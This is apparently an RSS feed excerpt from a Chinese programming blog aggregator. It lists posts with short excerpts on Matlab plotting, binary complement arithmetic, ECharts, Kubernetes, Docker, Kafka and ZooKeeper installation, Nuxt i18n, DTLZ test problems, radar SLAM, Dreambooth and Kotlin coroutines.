      <description>本文用于汇总 Matlab 二维绘图函数。plot() 函数是 Matlab 中最常用的绘图函数，用于在平面直角坐标系中绘制直线或曲线。subplot() 函数用于创建绘图网格，并指定当前绘图的位置，在调用绘图函数之前使用。fplot() 函数用于符号绘图或者参数方程绘图。polarplot() 函数用于极坐标绘图。&#xA;目录&#xA;1. plot()&#xA;2. subplot()&#xA;3. fplot()&#xA;4. polarplot()&#xA;1. plot() plot() 函数是 Matlab 中最常用的绘图函数，用于在平面直角坐标系中绘制直线或曲线。&#xA;用法：&#xA;plot(X,Y)&#xA;plot(X,Y,LineSpec)&#xA;plot(X1,Y1, ... ,Xn,Yn)&#xA;说明：&#xA;plot(X,Y)&#xA;· 如果 X 和 Y 都是向量，则它们的长度必须相同。plot() 函数绘制一条曲线，曲线上点的坐标由 X 与 Y 对应位置的元素决定。&#xA;· 如果 X 和 Y 都是矩阵，则它们的大小必须相同。plot() 函数绘制多条曲线，每条曲线上点的坐标由 X 与 Y 列方向上对应位置的元素决定。&#xA;plot(X,Y,LineSpec)&#xA;· 绘制一条曲线，LineSpec 是一个字符向量或字符串，用于指定曲线的线型、标记或颜色，表示线型、标记或颜色的字符可以按任意顺序组合。&#xA;plot(X1,Y1, ... , Xn,Yn)&#xA;· 在同一坐标轴中绘制多条曲线，X1,Y1, ... , Xn,Yn 是长度相同的向量。&#xA;示例：</description>
    </item>
    <item>
      <title>1&#43;（-1）=？</title>
      <link>https://bchobby.github.io/posts/c5a2c3e1fda5812613358bb782e6fda2/</link>
      <pubDate>Fri, 20 Oct 2023 16:30:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5a2c3e1fda5812613358bb782e6fda2/</guid>
      <description>起因是看到了下面这个问题：&#xA;1+(-1) = 0001 + 1001 = 怎么算&#xA;计算机计算方式 源码-&amp;gt;反码（源码符号位不变其他取反）-&amp;gt;补码（反码+1）-&amp;gt;得到结果的补码-&amp;gt;结果的反码(补码-1)-&amp;gt;结果的源码（反码符号位不变其他位取反）&#xA;正常开始算（计算机一般用反码进行计算）：&#xA;源: 0001 +1001 反：0001+1110 补码：0001+1111 = 10000&#xA;最高位1溢出舍弃&#xA;0的源码反码补码都是0&#xA;所以结果为 0&#xA;扩展延伸：&#xA;根据冯·诺依曼提出的经典计算机体系结构框架。一台计算机由运算器，控制器，存储器，输入和输出设备构成。其中运算器，只有加法运算器，没有减法运算器。所以如果我们要计算1-1，不能直接算，需要把1-1变成1+（-1）来计算。这要就需要知道一个反数如何表达。符号位就依此需求出现了。</description>
    </item>
    <item>
      <title>Chrome浏览器免费广告拦截器插件 —— Adblock</title>
      <link>https://bchobby.github.io/posts/5f1736273df7b2253e886c3d6f7801ae/</link>
      <pubDate>Fri, 20 Oct 2023 16:20:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f1736273df7b2253e886c3d6f7801ae/</guid>
      <description>背景：我们在浏览网页的过程中经常会有看到一些广告，这些广告不仅影响正常浏览，甚至会遮挡主要内容，给用户造成极大困扰。今天分享一去除广告或者指定元素的优秀插件——Adblock&#xA;屏蔽广告前：页面中总是会出现一些广告&#xA;屏蔽后：页面上带关闭按钮的广告都给屏蔽了&#xA;安装步骤：&#xA;1.需要打开 Chrome 应用商店 2.搜索 Adblock ，便可搜索到&#xA;3.点击添加至Chrome即可&#xA;4.添加扩展程序即可</description>
    </item>
    <item>
      <title>echars 设置滚动条演示，</title>
      <link>https://bchobby.github.io/posts/7cc12f9e61d47011f061767e9cb42253/</link>
      <pubDate>Fri, 20 Oct 2023 14:30:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cc12f9e61d47011f061767e9cb42253/</guid>
      <description>dataZoom: [ // 滑动条 { zoomLock:true, xAxisIndex: 0, // 这里是从X轴的0刻度开始 type: &#34;slider&#34;, // 这个 dataZoom 组件是 slider 型 dataZoom 组件 startValue: 0, // 从头开始。 endValue: 20, // 一次性展示几个。 // fillerColor: &#34;#023661&#34;, // 选中范围的填充颜色 // borderColor: &#34;#023661&#34;, // 边框颜色。 height: 21, //组件高度 left: 0, //左边的距离 right: 0, //右边的距离 bottom: 0, //右边的距离 handleStyle: { borderColor: &#34;#cacaca&#34;, borderWidth: &#34;5&#34;, shadowBlur: 2, background: &#34;#ddd&#34;, shadowColor: &#34;#ddd&#34; }, backgroundColor: &#34;#ddd&#34;, //两边未选中的滑动条区域的颜色 showDataShadow: false, //是否显示数据阴影 默认auto showDetail: false, //即拖拽时候是否显示详细数值信息 默认true moveHandleSize: 0 //两侧滑块宽度 }, { type: &#34;</description>
    </item>
    <item>
      <title>k8s 1.28版本二进制安装</title>
      <link>https://bchobby.github.io/posts/837387519cff673ac88b6d158cfb8046/</link>
      <pubDate>Fri, 20 Oct 2023 13:47:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/837387519cff673ac88b6d158cfb8046/</guid>
      <description>本文目录 二进制安装Kubernetes（k8s）v1.28.0介绍1.环境1.0.环境准备1.Linux网卡没有eth0显示ens33或者其它（以ens33为例）方法一：修改网卡配置方法二：重新安装机器(本文为虚拟机) 2.克隆的虚拟机，修改UUID，保证k8s集群每台机器UUID唯一 1.1.k8s基础系统环境配置1.配置IP2.设置主机名3.配置yum源4.安装一些必备工具4.1 下载离线所需文件(可选)CentOS7CentOS8Ubuntu 下载包和依赖 5.选择性下载需要工具(可选)6.关闭防火墙7.关闭SELinux8.关闭交换分区9.网络配置（俩种方式二选一）10.进行时间同步11.配置ulimit12.配置免密登录13.添加启用源14.升级内核至4.18版本以上15.安装ipvsadm16.修改内核参数17.所有节点配置hosts本地解析 2.k8s基本组件安装2.1.安装Containerd作为Runtime （推荐）2.1.1 配置Containerd所需的模块2.1.2 加载模块2.1.3 配置Containerd所需的内核2.1.4 创建Containerd的配置文件2.1.5 启动并设置为开机启动2.1.6 配置crictl客户端连接的运行时位置 2.2 安装docker作为Runtime （不推荐）2.2.1 解压docker程序2.2.2 创建containerd的service文件2.2.3 准备docker的service文件2.2.4 准备docker的socket文件2.2.5 配置加速器2.2.6 启动docker2.2.7 解压cri-docker2.2.8 写入启动cri-docker配置文件2.2.9 写入cri-docker的socket配置文件2.2.10 启动cri-docker 2.3.k8s与etcd下载及安装（仅在master01操作）2.3.1 解压k8s安装包2.3.2 查看版本2.3.3 将组件发送至其他k8s节点 2.3 创建证书相关文件(获取打包后文件的tar包) 3.相关证书生成3.1.生成etcd证书3.1.1 所有master节点创建证书存放目录3.1.2 master01节点生成etcd证书3.1.3 将证书复制到其他节点 3.2.生成k8s相关证书3.2.1 所有k8s节点(master+slave节点)创建证书存放目录3.2.2 master01节点生成k8s证书3.2.3 master01节点生成apiserver聚合证书3.2.4 master01节点生成controller-manage的证书3.2.5 master01节点生成kube-scheduler的证书3.2.6 master01节点生成admin的证书配置3.2.7 master01节点创建kube-proxy证书3.2.8 master01节点创建ServiceAccount Key ——secret3.2.9 将证书发送到其他master节点3.2.10 查看证书 4.k8s系统组件配置4.1.etcd配置4.1.1 master01配置4.1.2 master02配置4.1.3 master03配置 4.2.创建service4.2.1 创建etcd.service并启动4.2.2 创建etcd证书目录4.2.3 查看etcd状态 5.高可用配置5.1 NGINX高可用方案 (推荐)5.1.1 master01节点进行编译5.1.2 写入启动配置 5.2 keepalived和haproxy 高可用方案 (不推荐)5.2.1 安装keepalived和haproxy服务5.2.2 修改haproxy配置文件（配置文件一样）5.</description>
    </item>
    <item>
      <title>Elasticsearch向量检索的演进与变革：从基础到应用</title>
      <link>https://bchobby.github.io/posts/48d86969c2e4465403066a1cd45301d5/</link>
      <pubDate>Fri, 20 Oct 2023 11:08:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48d86969c2e4465403066a1cd45301d5/</guid>
      <description>上海-拼多多-基础平台招聘&#xA;我们是 PDD 基础平台团队，我们有优秀的技术和行业 top 的薪资待遇，hc 多多欢迎有志之士加入我们。岗位要求：熟练掌握Java/C/C++/go等任意一门&#xA;JAVA开发工具之Eclipse和MyEcli&#xA;Eclipse 和 MyEclipse 都是广泛使用的集成开发环境（IDE），主要用于Java语言的开发，但也有其他插件支持如C++和Python等其他计算机语&#xA;题解 | #某店铺的各商品毛利率及店铺整体毛利率#&#xA;# 店铺901在2021年10月以来的所有明细with temp as ( select t.order_id, product_id, price, c&#xA;恒生电子一面凉经&#xA;已挂我只能说，面试官很精确的每个靶子都没有命中到我[掉小珍珠了][掉小珍珠了][掉小珍珠了]自我介绍锁了解吗？怎么分的？Spring的AOP说一下吧，（又问了代&#xA;Elasticsearch向量检索的演进与变革：从基础到应用&#xA;Elasticsearch向量检索的演进与变革：从基础到应用1.引言向量检索已经成为现代搜索和推荐系统的核心组件。通过将复杂的对象（例如文本、图像或声音）转换为&#xA;题解 | #表达式求值#&#xA;class Solution {public: /** * 代码中的类名、方法名、参数名已经指定，请勿修改，直接返回方法规定的值即可 * 吉利面试2023（给春招或者明年的兄弟们介绍下）&#xA;分享下面试吉利的吧 我的总结就是 流程极长 想去的人一定要提早报名！ 我很多朋友比我优秀的多但是报名完了没给面试1.简历关 这个我感觉会一定程度看本科学历和你投&#xA;理想汽车秋招补录开了！&#xA;校招内推码 NTAKyVV校招内推链接https://li.jobs.feishu.cn/s/idjqRBJp从链接进入选择投递城市和职位即可理想汽车社招内推码&#xA;求改简历&#xA;普通双非本科，大数据专业，想找大数据开发方向的，各位大佬们，简历怎么改啊。#简历被挂麻了，求建议##写简历别走弯路#&#xA;鹏新旭第二批应该是等不到了&#xA;在牛客上看到的大部分offer选择，基本有旭选旭了，上至top3爷下至本科哥，基本没多少人放弃旭子的oc，感觉第二批没名额了。因为笔试题没做完和一家公司失之交臂&#xA;金山笔试全a，然后9.27中午约我下午5&#xA;金山笔试全a，然后9.27中午约我下午5.30面试，然后到了5.10分，通知我取消，然后过节，一直到今天又打电话给我约面，中间二十多天，这么不重视？是给你脸了嘛&#xA;天翼云北京&#xA;有17号二面的uu收到测评的吗，我是不是寄了&#xA;2.4 CPP复习&#xA;2.4 CPP复习&#xA;TCL&#xA;今天hr给我打电话，说上次offer发错了，九月份开始基本工资降了500😫😫😫 #TCL求职进展汇总#&#xA;TCL&#xA;今天hr给我打电话，说上次offer发错了，九月份开始基本工资降了500😫😫😫 #TCL求职进展汇总#&#xA;说个乐子事 #吉利求职进展汇总(4067</description>
    </item>
    <item>
      <title>【Docker】004.1-Docker部署Nginx、MySQL、Redis</title>
      <link>https://bchobby.github.io/posts/835e57cdf9c05778ee81b4f1fd45c039/</link>
      <pubDate>Fri, 20 Oct 2023 10:54:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/835e57cdf9c05778ee81b4f1fd45c039/</guid>
      <description>目录&#xA;Docker部署Nginx：&#xA;浏览器访问：&#xA;Docker部署Nginx含挂载&#xA;一键启动并挂载MySQL&#xA;部署redis&#xA;第一步：拉取镜像&#xA;第二步：直接启动&#xA;第三步：本地连接redis&#xA;为了更好找，这里将一个常用的主题独立放在一篇文章&#xA;Docker部署Nginx： # 第一步：搜索镜像，建议去网站搜索https://hub.docker.com/ docker search nginx # 控制台 [root@zibo /]# docker search nginx NAME DESCRIPTION STARS OFFICIAL AUTOMATED nginx Official build of Nginx. 14630 [OK] jwilder/nginx-proxy Automated Nginx reverse proxy for docker con… 1995 [OK] richarvey/nginx-php-fpm Container running Nginx + PHP-FPM capable of… 811 [OK] jc21/nginx-proxy-manager Docker container for managing Nginx proxy ho… 164 linuxserver/nginx An Nginx container, brought to you by LinuxS… 142 tiangolo/nginx-rtmp Docker image with Nginx using the nginx-rtmp… 119 [OK] # 第二步：下载镜像 docker pull nginx # 控制台 [root@zibo /]# docker pull nginx Using default tag: latest latest: Pulling from library/nginx a076a628af6f: Pull complete 0732ab25fa22: Pull complete d7f36f6fe38f: Pull complete f72584a26f32: Pull complete 7125e4df9063: Pull complete Digest: sha256:10b8cc432d56da8b61b070f4c7d2543a9ed17c2b23010b43af434fd40e2ca4aa Status: Downloaded newer image for nginx:latest docker.</description>
    </item>
    <item>
      <title>nuxt使用i18n进行中英文切换</title>
      <link>https://bchobby.github.io/posts/671aeaf34804d43138371dfe87a8c8a6/</link>
      <pubDate>Fri, 20 Oct 2023 10:43:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/671aeaf34804d43138371dfe87a8c8a6/</guid>
      <description>中文效果图：&#xA;英文效果图：&#xA;版本：&#xA;安装：&#xA;npm install --save @nuxtjs/i18n 新建en.js与zh.js两个文件进行切换显示&#xA;en.js内容 import globals from &#39;./../js/global_val&#39; export default { /****** * 公共内容开始 * *****/ seeMore: &#34;More Information&#34;, //查看更多 seeAgenda: &#34;View the conference schedule&#34;, //查看议程 jtlRegister: &#39;Register for the Golden Gyro Award&#39;, //金陀螺奖报名参评/投票 registrationChannel: &#39;FBEC Registration channel&#39;, //大会参会报名通道 fbecland: &#39;FBEC LAND&#39;, //大会官方微站 application: &#39;Click to register for the selection&#39;, //点击报名参评-pc applicationOver: &#39;The entry channel is closed&#39;, //参评已结束-pc mApplication: &#39;Click Register to vote&#39;, //点击报名参评/投票-手机端 mAplicationOver: &#39;Registration is closed&#39;, //点击报名参评/投票-手机端 headerData: [{ name: &#34;</description>
    </item>
    <item>
      <title>【调度算法】DTLZ问题家族</title>
      <link>https://bchobby.github.io/posts/d808bfd1f2a214bd3e099e75227b54b9/</link>
      <pubDate>Fri, 20 Oct 2023 10:34:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d808bfd1f2a214bd3e099e75227b54b9/</guid>
      <description>DTLZ问题家族 DTLZ（Deb-Thiele-Laumanns-Zitzler）问题家族是多目标优化中的一类标准测试问题集合。这个家族的问题由Kalyanmoy Deb、Lothar Thiele、Marco Laumanns和Eckart Zitzler于2002年提出，它旨在用于评估和比较不同多目标优化算法的性能。DTLZ问题家族包括一系列多目标优化问题，每个问题都有多个目标函数和一组决策变量。&#xA;DTLZ问题家族的主要特点如下：&#xA;多目标函数：每个DTLZ问题包括多个目标函数，通常大于等于2个。这些目标函数旨在模拟真实世界的多目标优化问题中的多个冲突目标。&#xA;决策变量：DTLZ问题家族包括一组决策变量，它们是优化问题的解空间。这些变量通常是实数值，而不是离散值。&#xA;Pareto前沿：每个DTLZ问题都有一个已知的Pareto前沿，即所有非支配解决方案的集合。这使得可以精确地评估多目标优化算法的性能。&#xA;可扩展性：DTLZ问题家族通常是可扩展的，即可以根据所需的目标函数数量和决策变量数量生成不同版本的问题。&#xA;冲突性：DTLZ问题家族中的目标函数通常是相互冲突的，即在优化一个目标时，可能会损害其他目标。这增加了优化的挑战。&#xA;DTLZ问题家族的主要目的是为多目标优化算法提供标准测试问题，以帮助研究人员和开发者评估算法的性能、比较不同算法之间的差异，并推动多目标优化领域的研究进展。通过在不同版本的DTLZ问题上进行测试，可以了解算法在处理多目标问题时的强度和弱点。&#xA;常用的DTLZ问题 参考链接：https://blog.csdn.net/a1920993165/article/details/114698765&#xA;大佬文章里的公式都没细看，因为看不太懂。按照目前理解，DTLZ问题指一系列有明确Pareto前沿（已知最优解）的多目标问题，用于测试多目标优化算法效果。&#xA;DTLZ1问题 DTLZ1（Deb-Thiele-Laumanns-Zitzler 1）是多目标优化问题中的一个经典问题之一。它是多目标优化问题的基准测试问题之一，用于评估和比较多目标优化算法的性能。DTLZ问题系列旨在研究多目标问题，其中目标函数的数量和复杂性较高。&#xA;DTLZ1 问题的定义通常如下：&#xA;问题描述：&#xA;在一个 D-维决策空间内，有 D+m 个变量，其中 D 代表决策变量的数量，m 代表目标函数的数量。目标函数是非线性函数，通常包括了三个部分：一个线性组合、一个多项式项和一个三角函数项。目标函数中的非线性部分涉及到决策变量之间的复杂交互。问题的目标是最小化目标函数，同时满足一些约束条件。 DTLZ1 问题通常被用来测试多目标优化算法的能力，特别是在高维度决策空间中。由于其复杂性和非线性特性，解决 DTLZ1 问题需要使用高级的多目标优化算法，如多目标遗传算法、多目标粒子群优化等。&#xA;解决 DTLZ1 问题的挑战在于找到一组 Pareto 最优解，这些解之间不存在单一目标的改进关系，因此需要一种算法来探索和维护 Pareto 前沿，这是一个包含最优解的集合，其中每个解都是在所有目标中都是最佳的，而没有其他解可以在所有目标上优于它们。</description>
    </item>
    <item>
      <title>CentOS 7 中安装Kafka</title>
      <link>https://bchobby.github.io/posts/8eee742a6f7c98910a8a9b9467c104b3/</link>
      <pubDate>Fri, 20 Oct 2023 10:07:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8eee742a6f7c98910a8a9b9467c104b3/</guid>
      <description>文章目录 安装JDK解压环境变量验证 安装ZooKeeper下载解压环境变量配置启动开放端口 安装Kafka下载解压配置启动 CentOS 7.6&#xA;JDK 1.8&#xA;ZooKeeper 3.5.7&#xA;Kafka 2.11-2.4.0&#xA;安装JDK 解压 # 解压 tar -xzvf jdk-8u181-linux-x64.tar.gz mv jdk1.8.0_181 /usr/local/jdk1.8 环境变量 # 打开.bashrc文件 vi ~/.bashrc # 文件末尾添加如下内容 export JAVA_HOME=/usr/local/jdk1.8 export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:$PATH # 输入下面的命令使之生效 source ~/.bashrc 验证 打开命令行终端，输入如下命令：&#xA;java -version 显示版本信息，说明安装成功&#xA;安装ZooKeeper 下载 点击官网下载&#xA;解压 # 解压 tar -xzvf apache-zookeeper-3.5.7-bin.tar.gz sudo mv apache-zookeeper-3.5.7-bin /usr/local/zookeeper-3.5.7 环境变量 # 打开/etc/profile vi /etc/profile # 添加如下内容，然后保存 export ZOOKEEPER_HOME=/usr/local/zookeeper-3.5.7 export PATH=.</description>
    </item>
    <item>
      <title>CentOS 7中安装ZooKeeper</title>
      <link>https://bchobby.github.io/posts/90523594a212726ccfd29d11798fef42/</link>
      <pubDate>Fri, 20 Oct 2023 09:52:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90523594a212726ccfd29d11798fef42/</guid>
      <description>文章目录 下载解压安装环境变量配置文件启动设置开机自启动开放端口 CentOS 7.6&#xA;ZooKeeper 3.5.7&#xA;本文介绍了如何在CentOS 7系统中安装单机版的ZooKeeper。&#xA;下载 点击官网下载&#xA;解压安装 # 解压 tar -xzvf apache-zookeeper-3.5.7-bin.tar.gz sudo mv apache-zookeeper-3.5.7-bin /usr/local/zookeeper-3.5.7 环境变量 # 打开/etc/profile vi /etc/profile # 添加如下内容，然后保存 export ZOOKEEPER_HOME=/usr/local/zookeeper-3.5.7 export PATH=.:$ZOOKEEPER_HOME/bin:$JAVA_HOME/bin:$PATH # 重新编译使环境变量生效 source /etc/profile 配置文件 # 切换到conf目录下 cd /usr/local/zookeeper-3.5.7/conf # 复制zoo_sample.cfg到zoo.cfg cp zoo_sample.cfg zoo.cfg # 打开zoo.cfg vi zoo.cfg # 修改配置如下，然后保存 # 存放数据 dataDir=/usr/local/zookeeper-3.5.7/dataDir # 存放日志文件 dataLogDir=/usr/local/zookeeper-3.5.7/dataLogDir # 端口默认为2181，单机版不需要配置 #clientPort=2181 # 创建文件夹 mkdir /usr/local/zookeeper-3.5.7/dataDir mkdir /usr/local/zookeeper-3.5.7/dataLogDir 启动 cd /usr/local/zookeeper-3.5.7/bin # 启动命令 .</description>
    </item>
    <item>
      <title>4DRadarSLAM: 基于位姿图优化的大规模环境下的4D成像雷达SLAM系统</title>
      <link>https://bchobby.github.io/posts/7f93224162ed8e4b7851f97d719f3c51/</link>
      <pubDate>Fri, 20 Oct 2023 08:01:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f93224162ed8e4b7851f97d719f3c51/</guid>
      <description>文章：4DRadarSLAM: A 4D Imaging Radar SLAM System for Large-scale Environments based on Pose Graph Optimization&#xA;作者：Jun Zhang, Huayang Zhuge , Zhenyu Wu, Guohao Peng, Mingxing Wen, Yiyao Liu and Danwei Wang&#xA;编辑：点云PCL&#xA;代码：https://github.com/zhuge2333/4DRadarSLAM&#xA;欢迎各位加入知识星球，获取PDF论文，欢迎转发朋友圈。文章仅做学术分享，如有侵权联系删文。&#xA;公众号致力于点云处理，SLAM，三维视觉，高精地图等领域相关内容的干货分享，欢迎各位加入，有兴趣的可联系dianyunpcl@163.com。侵权或转载联系微信cloudpoint9527。&#xA;摘要&#xA;基于激光雷达的SLAM在恶劣天气条件下（如雨、雪、烟、雾）容易出现故障，而毫米波雷达则不受影响。然而，目前的研究主要集中在2D（x，y）或3D（x，y， doppler ）雷达和3D激光雷达上，很少有关于4D雷达（x，y，z， doppler ）的研究。作为市场上的新产品，4D雷达输出带有高程信息的3D点云，而不是2D点云；与3D激光雷达相比，4D雷达的点云噪声大且稀疏，使其更具挑战性，难以提取几何特征（边缘和平面）。在本文中，我们提出了一个完整的4D雷达SLAM系统，包括三个模块：&#xA;前端模块执行扫描帧到扫描帧的匹配，基于GICP计算基于每个点的概率分布的里程计；&#xA;回环检测利用多个基于规则的回环预过滤步骤，然后是一个强度扫描上下文步骤来识别回环候选项，再通过里程计检查来拒绝假回环；&#xA;后端使用前端里程计、回环检测和可选GPS数据构建位姿图。通过g2o实现最佳位姿。&#xA;图1：提出了4DRadarSLAM，旨在利用4D成像雷达实现大规模SLAM。（a）测试了两种平台上的提出系统：手推车（低速：约1m/s），汽车（中速：25-30km/h）。展示了两个选定数据集的制图结果：（b）在一个花园中。（c）沿着校园主要道路。&#xA;主要贡献&#xA;这篇论文提出了4DRadarSLAM是一个包括三个部分的完整系统：前端、回环检测和后端。在前端执行扫描帧到扫描帧的匹配来计算里程计。由于从4D雷达点云中提取边缘和平面很困难，直接在原始点云上使用广义ICP（GICP）。通过考虑每个点的概率分布，我们提出的APDGICP（自适应概率分布-GICP）提高了性能。在回环检测中执行回环预处理过滤，以识别可能的回环候选项，然后利用强度扫描上下文来找到回环闭合。我们还进行里程计检查，以确保几何一致性。在后端，我们使用g2o构建并解决了一个位姿图，并输出了优化后的位姿。在图1和图7中，展示了测试平台和制图结果。主要贡献包括：&#xA;为4D成像雷达提出了一个完整的SLAM系统。我们开源了代码，以促进相关研究。&#xA;在前端（APDGICP）中，我们考虑了点测量的概率分布。&#xA;在回环检测中，我们引入了强度扫描上下文来查找回环候选项，结合回环预过滤和里程计检查，我们可以获得良好的回环闭合。&#xA;在后端位姿图中考虑了里程计、回环闭合和GPS。&#xA;我们进行了广泛的实验，使用了两种类型的平台和五个数据集，展示了其准确性、稳健性和实时性能。&#xA;内容概述&#xA;系统概述&#xA;4DRadarSLAM系统的概述如图2所示，由三个模块组成：前端、环路检测和后端。在前端，4D雷达点云用作输入，用于估算里程计和生成关键帧。环路检测模块评估每个新的关键帧，以确定它是否可以形成回环闭合。在后端使用g2o构建并优化位姿图，生成优化的姿势作为输出。&#xA;图2：提出的4DRadarSLAM系统概述。它由三个模块组成：(a) 前端：用于计算里程计。(b) 回环检测：用于检测回环闭合。(c) 后端：姿势图构建和优化。&#xA;前端&#xA;预处理：为了确保SLAM系统的鲁棒性，首先应该过滤掉动态物体。雷达的多普勒速度信息可用于识别这些物体。在本研究使用[33]中提出的线性最小二乘方法来估计毫米波雷达的自身速度。利用估计的多普勒速度和自身速度，我们能够确定物体的真实速度。&#xA;扫描匹配：在这一步中输入是上一个关键帧和一个新帧，目标是找到变换矩阵，由于4D雷达的点云含有噪声，不容易提取几何特征（如边和平面），GICP相对于ICP和NDT来说能够输出可接受的结果。因此提出了一种名为自适应概率分布-GICP（APDGICP）的新算法，它考虑了GICP中每个点的空间概率分布。根据毫米波雷达的手册，点的测距不确定性由σr = 0.00215r给出，其中r和σr分别是测得的距离和其不确定性。方位和俯仰角的精度分别为0.5°和1.0°，这导致了球坐标中方位和俯仰方向的不确定性，近似为σa ≈ sin(0.5°)r和σe ≈ sin(1.0°)r。所得的概率分布如图3所示，类似一个椭球（橙色），其中一个轴指向原点，三个半轴的长度分别为σr（距离）、σa（方位）和σe（俯仰）。&#xA;图3：一个点的概率分布。</description>
    </item>
    <item>
      <title>Dreambooth工作原理</title>
      <link>https://bchobby.github.io/posts/cc71a668acf8ee8df74f3ef5ed311d13/</link>
      <pubDate>Thu, 19 Oct 2023 22:34:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc71a668acf8ee8df74f3ef5ed311d13/</guid>
      <description>什么是Dreambooth 中文名：梦想亭。&#xA;Dreambooth 由 Google 研究团队于 2022 年发布，是一种通过向模型注入自定义主题来微调扩散模型（如稳定扩散）的技术。&#xA;所谓自定义主体，就是一张照片，但是照片主体要鲜明。比如一张小狗狗照片，那么狗和背景要有很高的区分度。&#xA;官方给出的一个例子：左边是三张小狗照片，通过dreamboothed 模型后，就能生成右边不同的照片。&#xA;小节下：就是使用少量的照片，给到dreamboothed 模型，dreamboothed 模型就能生成出风格不同的照片来。&#xA;为什么不直接训练照片呢？ 为什么不直接使用这些照片来训练模型呢？因为少量的照片去训练，会造成过拟合和语言漂移的问题。&#xA;语言漂移 (Language drift) 用一个成语来形容它：流变不居。&#xA;“Language drift”（语言漂移）是指在机器学习中，训练模型的语言或数据分布与实际应用环境中的语言或数据分布之间的差异或变化。这种差异可能会导致模型在实际应用中表现不佳。&#xA;具体来说，语言漂移可能出现在以下情况：&#xA;时间漂移（Temporal Drift）：语言随着时间的推移而变化。例如，社交媒体上的流行词汇、俚语或新兴语言可能会不断变化，而训练模型的数据可能是以前的数据，无法跟上最新的语言趋势。&#xA;领域漂移（Domain Drift）：语言在不同领域之间可能有差异。模型在一个领域中训练，但在另一个领域中使用时，语言和术语可能不同，导致性能下降。&#xA;地理漂移（Geographical Drift）：不同地理位置的语言和方言差异也可能导致漂移。一个地区的特定用语可能在另一个地区无法理解。&#xA;为了应对语言漂移，我们通常需要不断更新和微调模型，使用最新的数据以及适应特定领域或地理位置的语言变化。这有助于确保模型在实际应用中保持准确性和效用。&#xA;过拟合(Overfitting) 或者叫：过度拟合。&#xA;我先用一个成语来形容过拟合：墨守成规。&#xA;过拟合（Overfitting）是指在机器学习中，模型过度适应训练数据，导致在测试数据上表现不佳的现象。这通常发生在模型变得过于复杂或在训练数据相对较少的情况下。&#xA;过拟合的原因：&#xA;模型复杂度过高：当模型具有太多参数或太多层，它可以学会在训练数据上几乎完美匹配每个样本，但这不代表它在新数据上泛化良好。&#xA;训练数据不足：如果可用于训练的数据量有限，模型可能会记住训练数据中的噪声，而不是学习通用规律。&#xA;过拟合的表现：&#xA;在训练数据上表现很好，误差很低，但在测试数据上表现糟糕。&#xA;模型的预测波动很大，对新数据敏感。&#xA;应对过拟合的方法：&#xA;数据扩充：增加训练数据的数量和多样性，有助于模型更好地泛化。&#xA;减小模型复杂度：减少模型中的参数数量或层级，以降低模型的复杂性。&#xA;来限制参数的大小，减少过拟合的风险。&#xA;早停：在训练过程中监视模型在验证数据上的性能，一旦性能开始下降，就停止训练，以防止过拟合。&#xA;Dreambooth 如何解决这些问题呢？ 先给照片的主体取个个性化或者说具有标识性的名字。比如，狗的名字叫：Devora。分类的预先保留：意思就是，Devora是啥呢？它是条狗，所以它的类目，就是Dog。 具体怎么做呢？&#xA;Dreambooth 的训练 我们需要三样东西：&#xA;一些自定义图像：主体鲜明的照片唯一标识符（unique identifier）一个分类名（class name） 在上面的例子中。唯一标识符是 Devora。分类就是狗。&#xA;然后你需要构建你的 实例提示：&#xA;a photo of [unique identifier] [class name]&#xA;例如：a photo of Devora dog</description>
    </item>
    <item>
      <title>Kotlin 协程的挂起和阻塞的区别</title>
      <link>https://bchobby.github.io/posts/c9e9b4c40cde6bed58189dedd43d2e72/</link>
      <pubDate>Thu, 19 Oct 2023 22:08:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9e9b4c40cde6bed58189dedd43d2e72/</guid>
      <description>一，简介 Kotlin协程引入了非常强大的异步编程模型，通过挂起而不是阻塞来实现并发操作。以下是有关Kotlin协程挂起和阻塞的详细介绍：&#xA;挂起（Suspending）： 挂起是指一个协程的执行可以在不阻塞线程的情况下暂停和恢复。挂起函数是一种能够让协程挂起并释放线程的特殊函数，允许其他协程在该协程挂起期间运行。协程可以在执行IO操作、等待网络请求、休眠或执行任何可能导致阻塞的操作时挂起。 阻塞： 阻塞是指线程在执行某个操作时被暂停，直到该操作完成，而不能执行其他任务。在传统的多线程编程中，通常会使用阻塞调用（如Thread.sleep()或等待I/O操作完成），这会导致线程被阻塞，浪费了宝贵的资源。 协程的非阻塞特性： Kotlin协程通过将任务挂起到后台线程而不阻塞主线程，使得在同一线程上执行多个任务变得更加高效。由于协程不需要一直占用线程，所以可以运行大量协程而无需创建太多线程。 使用协程挂起函数： 在Kotlin中，使用suspend关键字声明挂起函数，这允许函数在协程中挂起。&#xA;例如，suspend fun fetchData(): String是一个可以在协程中挂起的函数，它可以执行异步操作而不阻塞线程。&#xA;协程调度器： 协程的执行受调度器的管理，调度器负责决定何时挂起和恢复协程，以及在哪个线程上运行它们。通过使用不同的调度器，可以控制协程的执行方式，例如在主线程、IO线程或自定义线程池中执行。 总之，Kotlin协程的挂起机制允许在不阻塞线程的情况下执行异步任务，这在编写高效且响应式的并发代码方面非常有用。挂起函数使协程可以在等待I/O或执行其他可能导致阻塞的操作时，让出线程，以提高应用程序的性能和响应性。&#xA;二，示例 以下是使用Kotlin协程的示例，演示了挂起和阻塞的区别：&#xA;首先，确保你的项目中已经引入了Kotlin协程库，以便使用协程。&#xA;kotlinCopy codeimport kotlinx.coroutines.* import kotlin.system.measureTimeMillis // 一个挂起函数，模拟网络请求 suspend fun fetchData(): String { delay(1000) // 模拟延迟1秒的网络请求 return &#34;Data from the network&#34; } fun main() = runBlocking { // 创建一个协程作用域 val time = measureTimeMillis { val result = async { fetchData() } // 启动一个协程来执行网络请求 println(&#34;Waiting for data...&#34;) println(&#34;Data received: ${result.await()}&#34;) 